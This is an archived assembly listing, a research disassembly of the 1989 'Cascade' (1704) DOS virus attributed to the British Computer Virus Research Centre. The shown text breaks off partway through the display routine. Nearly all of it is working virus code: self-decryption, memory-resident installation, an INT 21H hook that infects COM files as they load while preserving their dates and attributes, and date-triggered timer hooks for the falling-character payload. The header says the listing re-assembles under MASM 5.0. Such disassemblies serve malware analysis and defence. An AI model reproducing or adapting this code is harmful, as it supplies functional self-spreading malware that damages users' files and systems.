home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 1704.ASM < prev    next >
Assembly Source File  |  1989-07-03  |  26KB  |  919 lines

  1.     page    65,132
  2.     title    The 'Cascade' Virus (1704 version)
  3. ; ╔══════════════════════════════════════════════════════════════════════════╗
  4. ; ║                 British Computer Virus Research Centre                   ║
  5. ; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
  6. ; ║  Telephone:     Domestic   0273-26105,   International  +44-273-26105    ║
  7. ; ║                                                                          ║
  8. ; ║                    The 'Cascade' Virus (1704 version)                    ║
  9. ; ║                Disassembled by Joe Hirst,      March 1989                ║
  10. ; ║                                                                          ║
  11. ; ║                      Copyright (c) Joe Hirst 1989.                       ║
  12. ; ║                                                                          ║
  13. ; ║      This listing is only to be made available to virus researchers      ║
  14. ; ║                or software writers on a need-to-know basis.              ║
  15. ; ╚══════════════════════════════════════════════════════════════════════════╝
  16.  
  17.     ; The virus occurs attached to the end of a COM file.  The first
  18.     ; three bytes of the program are stored in the virus, and replaced
  19.     ; by a branch to the beginning of the virus.
  20.  
  21.     ; The disassembly has been tested by re-assembly using MASM 5.0.
  22.  
  23. RAM    SEGMENT AT 400H
  24.  
  25.     ; System data
  26.  
  27.     ORG    4EH
  28. BW044E    DW    ?            ; VDU display start address
  29.  
  30.     ORG    6CH
  31. BW046C    DW    ?            ; System clock
  32.  
  33. RAM    ENDS
  34.  
  35. MCB    SEGMENT AT 0            ; Memory control block references
  36.  
  37. MB0000    DB    ?            ; MCB signature
  38. MW0001    DW    ?            ; MCB owner
  39. MW0003    DW    ?            ; MCB size
  40.  
  41. MCB    ENDS
  42.  
  43. OPROG    SEGMENT AT 0            ; Original program references
  44.  
  45.     ORG    100H
  46. OW0100    DW    ?
  47. OB0102    DB    ?
  48.  
  49. OPROG    ENDS
  50.  
  51. CODE    SEGMENT BYTE PUBLIC 'CODE'
  52.     ASSUME CS:CODE,DS:OPROG
  53.  
  54. VIRLEN    EQU    OFFSET ENDADR-START
  55. MAXLEN    EQU    OFFSET START-ENDADR-20H
  56. JMPADR    =    OFFSET START-ENDADR-2
  57.  
  58.     ORG    16H
  59. DW0016    DW    ?            ; PSP parent ID
  60.  
  61.     ORG    2CH
  62. DW002C    DW    ?            ; PSP environment
  63.  
  64.     ORG    36H
  65. DW0036    DW    ?            ; FHT segment
  66.  
  67.     ORG    100H
  68.  
  69. START:
  70.  
  71. DB0100    DB    1            ; Encryption indicator
  72.  
  73.     ; Virus entry point
  74.  
  75. ENTRY:    CLI
  76.     MOV    BP,SP            ; Save stack pointer
  77.     CALL    BP0010            ; \ Get address of BP0010
  78. BP0010:    POP    BX            ; /
  79.     SUB    BX,OFFSET BP0010+2AH    ; Standardise relocation reg
  80.     TEST    DB0100[BX+2AH],1    ; Is virus encrypted
  81.     JZ    BP0030            ; Branch if not
  82.     LEA    SI,BP0030[BX+2AH]    ; Address start of encrypted area
  83.     MOV    SP,OFFSET ENDADR-BP0030    ; Length of encrypted area
  84. BP0020:    XOR    [SI],SI            ; \ Decrypt
  85.     XOR    [SI],SP            ; /
  86.     INC    SI            ; \ Next address
  87.     DEC    SP            ; /
  88.     JNZ    BP0020            ; Repeat for all area
  89. BP0030:    MOV    SP,BP            ; Restore stack pointer
  90.     JMP    BP0040            ; Branch past data
  91.  
  92.     ; Data
  93.  
  94. PROGRM    EQU    THIS DWORD
  95. PRG_OF    DW    100H        ; Original program offset
  96. PRG_SGIDW    1021H        ; Original program segment
  97.  
  98. INITAX    DW    0        ; Initial AX value
  99. PROG_1    DW    2DE9H        ; \ First three bytes of program
  100. PROG_2    DB    0DH        ; /
  101.     DB    0, 0
  102.  
  103. I1CBIO    EQU    THIS DWORD
  104. I1C_OF    DW    0FF53H        ; Interrupt 1CH offset
  105. I1C_SG    DW    0F000H        ; Interrupt 1CH segment
  106.  
  107. I21BIO    EQU    THIS DWORD
  108. I21_OF    DW    1460H        ; Interrupt 21H offset
  109. I21_SG    DW    026AH        ; Interrupt 21H segment
  110.  
  111. I28BIO    EQU    THIS DWORD
  112. I28_OF    DW    1445H        ; Interrupt 28H offset
  113. I28_SG    DW    0270H        ; Interrupt 28H segment
  114.  
  115.     DW    0        ; - not referenced
  116. F_ATTR    DW    0        ; File attributes
  117. F_DATE    DW    0E71H        ; File date
  118. F_TIME    DW    601FH        ; File time
  119. F_PATH    EQU    THIS DWORD
  120. PATHOF    DW    044EH        ; File pathname offset
  121. PATHSG    DW    20FFH        ; File pathname segment
  122. F_SIZ1    DW    62DBH        ; File size - low word
  123. F_SIZ2    DW    0        ; File size - high word
  124. JUMP_1    DB    0E9H        ; \ Jump instruction
  125. JUMP_2    DW    1D64H        ; /
  126. NUMCOL    DB    0        ; Number of display columns
  127. NUMROW    DB    0        ; Number of display rows
  128. C80_SW    DB    0        ; 80 column text switch
  129. CURCHA    DB    0        ; Current character
  130. CURATT    DB    0        ; Current attributes
  131. SWITCH    DB    8        ; Switches
  132.                 ;    01 Int 1CH active
  133.                 ;    02 Switch 2
  134.                 ;    04 Switch 3 - not used
  135.                 ;    08 No display
  136. RAM_SG    DW    0        ; Video RAM segment
  137. VDURAM    DW    0        ; VDU display start address
  138. LOOPCT    DW    04F8H        ; Timed loop count
  139. I1CCNT    DW    0FDAH        ; Int 1CH count
  140. I1CMAX    DW    0FDAH        ; Int 1CH random number maximum
  141. NUMPOS    DW    0        ; Number of display positions
  142. RANPOS    DW    1        ; Number of lines to affect
  143. RANDOM    DW    8FB2H, 0AH, 0, 0, 100H, 0, 1414H, 14H
  144.  
  145.     ; Main program start
  146.  
  147. BP0040:    CALL    BP0050            ; \ Get address of BP0050
  148. BP0050:    POP    BX            ; /
  149.     SUB    BX,OFFSET BP0050+2AH    ; Standardise relocation reg
  150.     MOV    PRG_SG[BX+2AH],CS    ; Save original program segment
  151.     MOV    INITAX[BX+2AH],AX    ; Save initial AX value
  152.     MOV    AX,PROG_1[BX+2AH]    ; Get first 2 bytes of program
  153.     MOV    OW0100,AX        ; Replace them
  154.     MOV    AL,PROG_2[BX+2AH]    ; Get third byte of program
  155.     MOV    OB0102,AL        ; Replace it
  156.     PUSH    BX
  157.     MOV    AH,30H            ; Get DOS version number function
  158.     INT    21H            ; DOS service
  159.     POP    BX
  160.     CMP    AL,2            ; Version 2.X or above?
  161.     JB    BP0060            ; Branch if not
  162.     MOV    AX,4BFFH        ; Is virus active function
  163.     XOR    DI,DI            ; Clear register
  164.     XOR    SI,SI            ; Clear register
  165.     INT    21H            ; DOS service
  166.     CMP    DI,55AAH        ; Is virus already active
  167.     JNE    BP0070            ; Branch if not
  168. BP0060:    STI
  169.     PUSH    DS            ; \ Set ES to DS
  170.     POP    ES            ; /
  171.     MOV    AX,INITAX[BX+2AH]    ; Restore initial AX value
  172.     JMP    PROGRM[BX+2AH]        ; Branch to original program
  173.  
  174. BP0070:    PUSH    BX
  175.     MOV    AX,3521H        ; Get interrupt 21H function
  176.     INT    21H            ; DOS service
  177.     MOV    AX,BX            ; Move interrupt 21H offset
  178.     POP    BX
  179.     MOV    I21_OF[BX+2AH],AX    ; Save interrupt 21H offset
  180.     MOV    I21_SG[BX+2AH],ES    ; Save interrupt 21H segment
  181.     MOV    AX,0F000H        ; \
  182.     MOV    ES,AX            ;  ) Address BIOS
  183.     MOV    DI,0E008H        ; /
  184.     CMP    WORD PTR ES:[DI],'OC'    ; \ Branch if not IBM BIOS
  185.     JNE    BP0080            ; /
  186.     CMP    WORD PTR ES:[DI+2],'RP'    ; \ Branch if not IBM BIOS
  187.     JNE    BP0080            ; /
  188.     CMP    WORD PTR ES:[DI+4],' .'    ; \ Branch if not IBM BIOS
  189.     JNE    BP0080            ; /
  190.     CMP    WORD PTR ES:[DI+6],'BI'    ; \ Branch if not IBM BIOS
  191.     JNE    BP0080            ; /
  192.     CMP    WORD PTR ES:[DI+8],'M'    ; \ IBM BIOS
  193.     JE    BP0060            ; /
  194.  
  195.     ; Install virus
  196.  
  197.     ASSUME    ES:MCB,DS:NOTHING
  198. BP0080:    MOV    AX,007BH        ; Load size of virus in paragraphs
  199.     MOV    BP,CS            ; Get current segment
  200.     DEC    BP            ; \ Address back to MCB
  201.     MOV    ES,BP            ; /
  202.     MOV    SI,DW0016        ; Get parent ID
  203.     MOV    MW0001,SI        ; Store as owner in MCB
  204.     MOV    DX,MW0003        ; Get MCB size
  205.     MOV    MW0003,AX        ; Store virus size
  206.     MOV    MB0000,4DH        ; Store MCB identification
  207.     SUB    DX,AX            ; Subtract virus from original size
  208.     DEC    DX            ; 
  209.     INC    BP            ; Forward from MCB
  210.     ADD    BP,AX            ; Add size of virus
  211.     INC    BP            ; And of another MCB
  212.     MOV    ES,BP            ; Address new PSP segment
  213.     PUSH    BX
  214.     MOV    AH,50H            ; Set current PSP function
  215.     MOV    BX,BP            ; New PSP segment
  216.     INT    21H            ; DOS service
  217.     POP    BX
  218.     XOR    DI,DI            ; Clear register
  219.     PUSH    ES            ; \ Set stack segment to new PSP
  220.     POP    SS            ; /
  221.     PUSH    DI
  222.     LEA    DI,CPY040[BX+2AH]    ; Address end of virus
  223.     MOV    SI,DI            ; And for source
  224.     MOV    CX,VIRLEN        ; Get length of virus
  225.     STD                ; Going downwards
  226.     REPZ    MOVSB            ; Copy virus
  227.     PUSH    ES            ; Push new segment
  228.     LEA    CX,BP0090[BX+2AH]    ; \ And next instruction
  229.     PUSH    CX            ; /
  230.     RETF                ; ... and load them
  231.  
  232.     ; Now running in virus at end of new program segment
  233.  
  234. BP0090:    MOV    PRG_SG[BX+2AH],CS    ; New segment in program address
  235.     LEA    CX,DB0100[BX+2AH]    ; Get length of original program
  236.     REPZ    MOVSB            ; Copy original program to new PSP
  237.     MOV    DW0036,CS        ; New segment in handle table address
  238.     DEC    BP            ; \ Address back to MCB
  239.     MOV    ES,BP            ; /
  240.     MOV    MW0003,DX        ; Store original program size
  241.     MOV    MB0000,5AH        ; Store MCB ident (last)
  242.     MOV    MW0001,CS        ; Store CS as owner in MCB
  243.     INC    BP            ; \ Forward again to PSP
  244.     MOV    ES,BP            ; /
  245.     PUSH    DS            ; \ Set ES to DS
  246.     POP    ES            ; /
  247.     PUSH    CS            ; \ Set DS to CS
  248.     POP    DS            ; /
  249.     LEA    SI,DB0100[BX+2AH]    ; Address start of virus
  250.     MOV    DI,OFFSET DB0100    ; Start of program area in first area
  251.     MOV    CX,VIRLEN        ; Get length of virus
  252.     CLD                ; Copy forwards
  253.     REPZ    MOVSB            ; Copy virus to start of first area
  254.     PUSH    ES            ; Push segment of first area
  255.     LEA    AX,BP0100        ; \ Offset of next instruction
  256.     PUSH    AX            ; /
  257.     RETF                ; ... and load them
  258.  
  259.     ; Now running in installed virus, first area
  260.  
  261.     ASSUME    ES:NOTHING
  262. BP0100:    MOV    DW002C,0        ; No environment pointer
  263.     MOV    DW0016,CS        ; Is its own parent
  264.     PUSH    DS
  265.     LEA    DX,INT_21        ; Interrupt 21H routine
  266.     PUSH    CS            ; \ Set DS to CS
  267.     POP    DS            ; /
  268.     MOV    AX,2521H        ; Set interrupt 21H function
  269.     INT    21H            ; DOS service
  270.     POP    DS
  271.     MOV    AH,1AH            ; Set DTA function
  272.     MOV    DX,0080H        ; DTA address
  273.     INT    21H            ; DOS service
  274.     CALL    GETCLK            ; Copy system clock
  275.     MOV    AH,2AH            ; Get date function
  276.     INT    21H            ; DOS service
  277.     CMP    CX,07C4H        ; Year 1988?
  278.     JA    BP0130            ; Branch if after 1988
  279.     JE    BP0110            ; Branch if 1988
  280.     CMP    CX,07BCH        ; Year 1980?
  281.     JNE    BP0130            ; Branch if not
  282.     PUSH    DS
  283.     MOV    AX,3528H        ; Get interrupt 28H function
  284.     INT    21H            ; DOS service
  285.     MOV    I28_OF,BX        ; Save interrupt 28H offset
  286.     MOV    I28_SG,ES        ; Save interrupt 28H segment
  287.     MOV    AX,2528H        ; Set interrupt 28H function
  288.     MOV    DX,OFFSET INT_28    ; Int 28H routine address
  289.     PUSH    CS            ; \ Set DS to CS
  290.     POP    DS            ; /
  291.     INT    21H            ; DOS service
  292.     POP    DS
  293.     OR    SWITCH,8        ; Set on No display switch
  294.     JMP    BP0120
  295.  
  296.     ; Year is 1988
  297.  
  298. BP0110:    CMP    DH,0AH            ; October?
  299.     JB    BP0130            ; Branch if not
  300. BP0120:    CALL    TIMCYC            ; Time one clock cycle
  301.     MOV    AX,1518H        ; Upper limit - 5400
  302.     CALL    RNDNUM            ; Create random number
  303.     INC    AX            ; Add to random number
  304.     MOV    I1CCNT,AX        ; Set Int 1CH count
  305.     MOV    I1CMAX,AX        ; Set Int 1CH random no maximum
  306.     MOV    RANPOS,1        ; Set num of lines to affect to 1
  307.     MOV    AX,351CH        ; Get interrupt 1CH function
  308.     INT    21H            ; DOS service
  309.     MOV    I1C_OF,BX        ; Save interrupt 1CH offset
  310.     MOV    I1C_SG,ES        ; Save interrupt 1CH segment
  311.     PUSH    DS
  312.     MOV    AX,251CH        ; Set interrupt 1CH function
  313.     MOV    DX,OFFSET INT_1C    ; Int 1CH routine address
  314.     PUSH    CS            ; \ Set DS to CS
  315.     POP    DS            ; /
  316.     INT    21H            ; DOS service
  317.     POP    DS
  318. BP0130:    MOV    BX,-2AH            ; Set up relocation register
  319.     JMP    BP0060            ; Branch to start program
  320.  
  321.     ; Interrupt 21H routine
  322.  
  323. INT_21:    CMP    AH,4BH            ; Load function?
  324.     JE    I_2106            ; Branch if yes
  325. I_2102:    JMP    I21BIO            ; Branch to original int 21H
  326.  
  327.     ; Virus call
  328.  
  329. I_2104:    MOV    DI,55AAH        ; Virus call - signal back
  330.     LES    AX,I21BIO        ; Load return address
  331.     MOV    DX,CS            ; Load segment
  332.     IRET
  333.  
  334.     ; Load and execute function
  335.  
  336. I_2106:    CMP    AL,0FFH            ; Is this a virus call?
  337.     JE    I_2104            ; Branch if yes
  338.     CMP    AL,0            ; Load and execute?
  339.     JNE    I_2102            ; Branch if not
  340.     PUSHF
  341.     PUSH    AX
  342.     PUSH    BX
  343.     PUSH    CX
  344.     PUSH    DX
  345.     PUSH    SI
  346.     PUSH    DI
  347.     PUSH    BP
  348.     PUSH    ES
  349.     PUSH    DS
  350.     MOV    PATHOF,DX        ; Save pathname offset
  351.     MOV    PATHSG,DS        ; Save pathname segment
  352.     PUSH    CS            ; \ Set ES to CS
  353.     POP    ES            ; /
  354.     MOV    AX,3D00H        ; Open handle function
  355.     INT    21H            ; DOS service
  356.     JB    I_2110            ; Branch if error
  357.     MOV    BX,AX            ; Move file handle
  358.     MOV    AX,5700H        ; Get file date and time function
  359.     INT    21H            ; DOS service
  360.     MOV    F_DATE,DX        ; Save file date
  361.     MOV    F_TIME,CX        ; Save file time
  362.     MOV    AH,3FH            ; Read handle function
  363.     PUSH    CS            ; \ Set DS to CS
  364.     POP    DS            ; /
  365.     MOV    DX,OFFSET PROG_1    ; \ First three bytes of program
  366.     MOV    CX,3            ; /
  367.     INT    21H            ; DOS service
  368.     JB    I_2110            ; Branch if error
  369.     CMP    AX,CX            ; Correct length read?
  370.     JNE    I_2110            ; Branch if error
  371.     MOV    AX,4202H        ; Move file pointer (EOF) function
  372.     XOR    CX,CX            ; \ No displacement
  373.     XOR    DX,DX            ; /
  374.     INT    21H            ; DOS service
  375.     MOV    F_SIZ1,AX        ; File size - low word
  376.     MOV    F_SIZ2,DX        ; File size - high word
  377.     MOV    AH,3EH            ; Close handle function
  378.     INT    21H            ; DOS service
  379.     CMP    PROG_1,5A4DH        ; Is it an EXE file?
  380.     JNE    I_2108            ; Branch if not
  381.     JMP    I_2124            ; Dont infect
  382.  
  383. I_2108:    CMP    F_SIZ2,0        ; File size - high word
  384.     JA    I_2110            ; Branch if file too big
  385.     CMP    F_SIZ1,MAXLEN        ; Maximum file size?
  386.     JBE    I_2112            ; Branch if file not too big
  387. I_2110:    JMP    I_2124            ; Dont infect
  388.  
  389. I_2112:    CMP    BYTE PTR PROG_1,0E9H    ; Does program start with a branch
  390.     JNE    I_2114            ; Branch if not
  391.     MOV    AX,F_SIZ1        ; Get file size - low word
  392.     ADD    AX,WORD PTR JMPADR    ; Convert to infected offset
  393.     CMP    AX,PROG_1+1        ; Is it the same
  394.     JE    I_2110            ; Branch if already infected
  395. I_2114:    MOV    AX,4300H        ; Get file attributes function
  396.     LDS    DX,F_PATH        ; Pathname pointer
  397.     INT    21H            ; DOS service
  398.     JB    I_2110            ; Branch if error
  399.     MOV    F_ATTR,CX        ; Save file attributes
  400.     XOR    CL,20H            ; Change archive bit
  401.     TEST    CL,27H            ; Are there any attributes to change
  402.     JZ    I_2116            ; Branch if not
  403.     MOV    AX,4301H        ; Set file attributes function
  404.     XOR    CX,CX            ; No attributes
  405.     INT    21H            ; DOS service
  406.     JB    I_2110            ; Branch if error
  407. I_2116:    MOV    AX,3D02H        ; Open handle (R/W) function
  408.     INT    21H            ; DOS service
  409.     JB    I_2110            ; Branch if error
  410.     MOV    BX,AX            ; Move file handle
  411.     MOV    AX,4202H        ; Move file pointer (EOF) function
  412.     XOR    CX,CX            ; \ No displacement
  413.     XOR    DX,DX            ; /
  414.     INT    21H            ; DOS service
  415.     CALL    CPYVIR            ; Copy virus to program
  416.     JNB    I_2118            ; Branch if no error
  417.     MOV    AX,4200H        ; Move file pointer (Start) function
  418.     MOV    CX,F_SIZ2        ; File size - high word
  419.     MOV    DX,F_SIZ1        ; File size - low word
  420.     INT    21H            ; DOS service
  421.     MOV    AH,40H            ; Write handle function
  422.     XOR    CX,CX            ; Zero length (reset length}
  423.     INT    21H            ; DOS service
  424.     JMP    I_2120            ; Reset file details
  425.  
  426. I_2118:    MOV    AX,4200H        ; Move file pointer (Start) function
  427.     XOR    CX,CX            ; \ No displacement
  428.     XOR    DX,DX            ; /
  429.     INT    21H            ; DOS service
  430.     JB    I_2120            ; Branch if error
  431.     MOV    AX,F_SIZ1        ; Get file size - low word
  432.     ADD    AX,0FFFEH        ; Convert to jump offset
  433.     MOV    JUMP_2,AX        ; Store in jump instruction
  434.     MOV    AH,40H            ; Write handle function
  435.     MOV    DX,OFFSET JUMP_1    ; Address to jump instruction
  436.     MOV    CX,3            ; Length of jump instruction
  437.     INT    21H            ; DOS service
  438. I_2120:    MOV    AX,5701H        ; Set file date and time function
  439.     MOV    DX,F_DATE        ; Get old file date
  440.     MOV    CX,F_TIME        ; Get old file time
  441.     INT    21H            ; DOS service
  442.     MOV    AH,3EH            ; Close handle function
  443.     INT    21H            ; DOS service
  444.     MOV    CX,F_ATTR        ; Get old file attributes
  445.     TEST    CL,7            ; System, read only or hidden?
  446.     JNZ    I_2122            ; Branch if yes
  447.     TEST    CL,20H            ; Archive?
  448.     JNZ    I_2124            ; Branch if yes
  449. I_2122:    MOV    AX,4301H        ; Set file attributes function
  450.     LDS    DX,F_PATH        ; Pathname pointer
  451.     INT    21H            ; DOS service
  452. I_2124:    POP    DS
  453.     POP    ES
  454.     POP    BP
  455.     POP    DI
  456.     POP    SI
  457.     POP    DX
  458.     POP    CX
  459.     POP    BX
  460.     POP    AX
  461.     POPF
  462.     JMP    I_2102            ; Original interrupt 21H
  463.  
  464.     ; Create random number
  465.  
  466. RNDNUM:    PUSH    DS
  467.     PUSH    CS            ; \ Set DS to CS
  468.     POP    DS            ; /
  469.     PUSH    BX
  470.     PUSH    CX
  471.     PUSH    DX
  472.     PUSH    AX            ; Save multiplier
  473.     MOV    CX,7            ; Seven words to move
  474.     MOV    BX,OFFSET RANDOM+14    ; Last word of randomiser
  475.     PUSH    [BX]            ; Save last word
  476. RND010:    MOV    AX,[BX-2]        ; Get previous word
  477.     ADC    [BX],AX            ; Add to current word
  478.     DEC    BX            ; \ Address previous word
  479.     DEC    BX            ; /
  480.     LOOP    RND010            ; Repeat for each word
  481.     POP    AX            ; Retrieve last word
  482.     ADC    [BX],AX            ; Add to first word
  483.     MOV    DX,[BX]            ; Get result
  484.     POP    AX            ; Recover multiplier
  485.     OR    AX,AX            ; Is there a multiplier?
  486.     JZ    RND020            ; Branch if not
  487.     MUL    DX            ; Multiply random number
  488. RND020:    MOV    AX,DX            ; Move result
  489.     POP    DX
  490.     POP    CX
  491.     POP    BX
  492.     POP    DS
  493.     RET
  494.  
  495.     ; Copy system clock
  496.  
  497. GETCLK:    PUSH    DS
  498.     PUSH    ES
  499.     PUSH    SI
  500.     PUSH    DI
  501.     PUSH    CX
  502.     PUSH    CS            ; \ Set ES to CS
  503.     POP    ES            ; /
  504.     MOV    CX,0040H        ; \ Set DS to system RAM
  505.     MOV    DS,CX            ; /
  506.     MOV    DI,OFFSET RANDOM    ; Randomizer work area
  507.     MOV    SI,006CH        ; Address system clock
  508.     MOV    CX,8            ; Eight bytes to copy
  509.     CLD
  510.     REPZ    MOVSW            ; Copy system clock
  511.     POP    CX
  512.     POP    DI
  513.     POP    SI
  514.     POP    ES
  515.     POP    DS
  516.     RET
  517.  
  518.     ; Get character and attributes
  519.  
  520.     ASSUME    DS:CODE
  521. GETCHA:    PUSH    SI
  522.     PUSH    DS
  523.     PUSH    DX
  524.     MOV    AL,DH            ; Get row number
  525.     MUL    NUMCOL            ; Number of visible columns
  526.     MOV    DH,0            ; Clear top of register
  527.     ADD    AX,DX            ; Add column number
  528.     SHL    AX,1            ; Multiply by two
  529.     ADD    AX,VDURAM        ; Add VDU display start address
  530.     MOV    SI,AX            ; Move character pointer
  531.     TEST    C80_SW,0FFH        ; Test 80 column text switch
  532.     MOV    DS,RAM_SG        ; Video RAM segment
  533.     JZ    GTC030            ; Branch if switch off
  534.     MOV    DX,03DAH        ; VDU status register
  535.     CLI
  536. GTC010:    IN    AL,DX            ; Get VDU status
  537.     TEST    AL,8            ; Is it frame flyback time
  538.     JNZ    GTC030            ; Branch if yes
  539.     TEST    AL,1            ; Test toggle bit
  540.     JNZ    GTC010            ; Branch if on
  541. GTC020:    IN    AL,DX            ; Get VDU status
  542.     TEST    AL,1            ; Test toggle bit
  543.     JZ    GTC020            ; Branch if off
  544. GTC030:    LODSW                ; Load character and attribute
  545.     STI
  546.     POP    DX
  547.     POP    DS
  548.     POP    SI
  549.     RET
  550.  
  551.     ; Store character and attributes
  552.  
  553. STOCHA:    PUSH    DI
  554.     PUSH    ES
  555.     PUSH    DX
  556.     PUSH    BX
  557.     MOV    BX,AX
  558.     MOV    AL,DH            ; Get row number
  559.     MUL    NUMCOL            ; Number of visible columns
  560.     MOV    DH,0            ; Clear top of register
  561.     ADD    AX,DX            ; Add column number
  562.     SHL    AX,1            ; Multiply by two
  563.     ADD    AX,VDURAM        ; Add VDU display start address
  564.     MOV    DI,AX            ; Move character pointer
  565.     TEST    C80_SW,0FFH        ; Test 80 column text switch
  566.     MOV    ES,RAM_SG        ; Video RAM segment
  567.     JZ    STO030            ; Branch if switch off
  568.     MOV    DX,03DAH        ; VDU status register
  569.     CLI
  570. STO010:    IN    AL,DX            ; Get VDU status
  571.     TEST    AL,8            ; Is it frame flyback time
  572.     JNZ    STO030            ; Branch if yes
  573.     TEST    AL,1            ; Test toggle bit
  574.     JNZ    STO010            ; Branch if on
  575. STO020:    IN    AL,DX            ; Get VDU status
  576.     TEST    AL,1            ; Test toggle bit
  577.     JZ    STO020            ; Branch if off
  578. STO030:    MOV    AX,BX
  579.     STOSB                ; Store character and attribute
  580.     STI
  581.     POP    BX
  582.     POP    DX
  583.     POP    ES
  584.     POP    DI
  585.     RET
  586.  
  587.     ; Delay loop
  588.  
  589. DELAY:    PUSH    CX
  590. DEL010:    PUSH    CX
  591.     MOV    CX,LOOPCT        ; Get timed loop count
  592. DEL020:    LOOP    DEL020
  593.     POP    CX
  594.     LOOP    DEL010
  595.     POP    CX
  596.     RET
  597.  
  598.     ; Toggle speaker drive
  599.  
  600. CH_SND:    PUSH    AX
  601.     IN    AL,61H            ; Get port B
  602.     XOR    AL,2            ; Toggle speaker drive
  603.     AND    AL,0FEH            ; Switch off speaker modulate
  604.     OUT    61H,AL            ; Rewrite port B
  605.     POP    AX
  606.     RET
  607.  
  608.     ; Is character 0, 32 or 255?
  609.  
  610. IGNORE:    CMP    AL,0            ; Is it a zero?
  611.     JE    IGN010            ; Branch if yes
  612.     CMP    AL,20H            ; Is it a space?
  613.     JE    IGN010            ; Branch if yes
  614.     CMP    AL,0FFH            ; Is it FF?
  615.     JE    IGN010            ; Branch if yes
  616.     CLC
  617.     RET
  618.  
  619. IGN010:    STC
  620.     RET
  621.  
  622.     ; Graphic display character
  623.  
  624. GRAPHD:    CMP    AL,0B0H            ; Is it below 176?
  625.     JB    GRA010            ; Branch if yes
  626.     CMP    AL,0DFH            ; Is it above 223?
  627.     JA    GRA010            ; Branch if yes
  628.     STC
  629.     RET
  630.  
  631. GRA010:    CLC
  632.     RET
  633.  
  634.     ; Time one clock cycle
  635.  
  636. TIMCYC:    PUSH    DS
  637.     MOV    AX,0040H        ; \ Set DS to system RAM
  638.     MOV    DS,AX            ; /
  639.     STI
  640.     ASSUME    DS:RAM
  641.     MOV    AX,BW046C        ; Get low word of system clock
  642. TIM010:    CMP    AX,BW046C        ; Has clock changed?
  643.     JE    TIM010            ; Branch if not
  644.     XOR    CX,CX            ; Clear register
  645.     MOV    AX,BW046C        ; Get low word of system clock
  646. TIM020:    INC    CX            ; Increment count
  647.     JZ    TIM040            ; Branch if now zero
  648.     CMP    AX,BW046C        ; Has clock changed?
  649.     JE    TIM020            ; Branch if not
  650. TIM030:    POP    DS
  651.     ASSUME    DS:NOTHING
  652.     MOV    AX,CX            ; Transfer count
  653.     XOR    DX,DX            ; Clear register
  654.     MOV    CX,000FH        ; \ Divide by 15
  655.     DIV    CX            ; /
  656.     MOV    LOOPCT,AX        ; Save timed loop count
  657.     RET
  658.  
  659. TIM040:    DEC    CX            ; Set to minus one
  660.     JMP    SHORT TIM030
  661.  
  662.     ; Cascade display routine
  663.  
  664.     ASSUME    DS:CODE
  665. DISPLY:    MOV    NUMROW,18H        ; Number of display rows
  666.     PUSH    DS
  667.     MOV    AX,0040H        ; \ Set DS to system RAM
  668.     MOV    DS,AX            ; /
  669.     ASSUME    DS:RAM
  670.     MOV    AX,BW044E        ; VDU display start address
  671.     POP    DS
  672.     ASSUME    DS:CODE
  673.     MOV    VDURAM,AX        ; Save VDU display start address
  674.     MOV    DL,0FFH
  675.     MOV    AX,1130H        ; Get character generator information
  676.     MOV    BH,0            ; Int 1FH vector
  677.     PUSH    ES
  678.     PUSH    BP
  679.     INT    10H            ; VDU I/O
  680.     POP    BP
  681.     POP    ES
  682.     CMP    DL,0FFH            ; Is register unchanged?
  683.     JE    DSP010            ; Branch if yes
  684.     MOV    NUMROW,DL        ; Number of display rows (EGA)
  685. DSP010:    MOV    AH,0FH            ; Get VDU parameters
  686.     INT    10H            ; VDU I/O
  687.     MOV    NUMCOL,AH        ; Save number of columns
  688.     MOV    C80_SW,0        ; Set off 80 column text switch
  689.     MOV    RAM_SG,0B000H        ; Video RAM segment - Mono
  690.     CMP    AL,7            ; Mode 7?
  691.     JE    DSP040            ; Branch if yes
  692.     JB    DSP020            ; Branch if less
  693.     JMP    DSP130            ; Switch off speaker and return
  694.  
  695. DSP020:    MOV    RAM_SG,0B800H        ; Video RAM segment
  696.     CMP    AL,3            ; Display mode 3?
  697.     JA    DSP040            ; Branch if above
  698.     CMP    AL,2            ; Display mode 2?
  699.     JB    DSP040            ; Branch if below
  700.     MOV    C80_SW,1        ; Set on 80 column text switch
  701.     MOV    AL,NUMROW        ; Number of display rows
  702.     INC    AL            ; Number, not offset
  703.     MUL    NUMCOL            ; Number of visible columns
  704.     MOV    NUMPOS,AX        ; Save number of display positions
  705.     MOV    AX,RANPOS        ; Get number of lines to affect
  706.     CMP    AX,NUMPOS        ; Number of display positions
  707.     JBE    DSP030            ; Branch if within range
  708.     MOV    AX,NUMPOS        ; Get number of display positions
  709. DSP030:    CALL    RNDNUM            ; Create random number
  710.     INC    AX            ; Add to random number
  711.     MOV    SI,AX            ; Use as count
  712. DSP040:    XOR    DI,DI            ; Set second count to zero
  713. DSP050:    INC    DI            ; Increment second count
  714.     MOV    AX,NUMPOS        ; Get number of display positions
  715.     SHL    AX,1            ; Multiply by two
  716.     CMP    DI,AX            ; Has second count reached this?
  717.     JBE    DSP060            ; Branch if not
  718.     JMP    DSP130            ; Switch off speaker and return
  719.  
  720. DSP060:    OR    SWITCH,2        ; Set on switch 2
  721.     MOV    AL,NUMCOL        ; \ Number of visible columns
  722.     MOV    AH,0            ; / is upper limit
  723.     CALL    RNDNUM            ; Create random number
  724.     MOV    DL,AL            ; Random column number
  725.     MOV    AL,NUMROW        ; \ Number of display rows
  726.     MOV    AH,0            ; / is upper limit
  727.     CALL    RNDNUM            ; Create random number
  728.     MOV    DH,AL            ; Random row number
  729.     CALL    GETCHA            ; Get character and attributes
  730.     CALL    IGNORE            ; Is character 0, 32 or 255?
  731.     JB    DSP050            ; Branch if yes
  732.     CALL    GRAPHD            ; Is it a graphic display character
  733.     JB    DSP050            ; Branch if yes
  734.     MOV    CURCHA,AL        ; Save current character
  735.     MOV    CURATT,AH        ; Save current attributes
  736.     MOV    CL,NUMROW        ; Number of display rows
  737.     MOV    CH,0            ; Column zero
  738. DSP070:    INC    DH            ; Next row
  739.     CMP    DH,NUMROW        ; Was that the last row?
  740.     JA    DSP110            ; Branch if yes
  741.     CALL    GETCHA            ; Get character and attributes
  742.     CMP    AH,CURATT        ; Are attributes the same?
  743.     JNE    DSP110            ; Branch if not
  744.     CALL    IGNORE            ; Is character 0, 32 or 255?
  745.     JB    DSP090            ; Branch if yes
  746. DSP080:    CALL    GRAPHD            ; Is it a graphic display character
  747.     JB    DSP110            ; Branch if yes
  748.     INC    DH            ; Next row
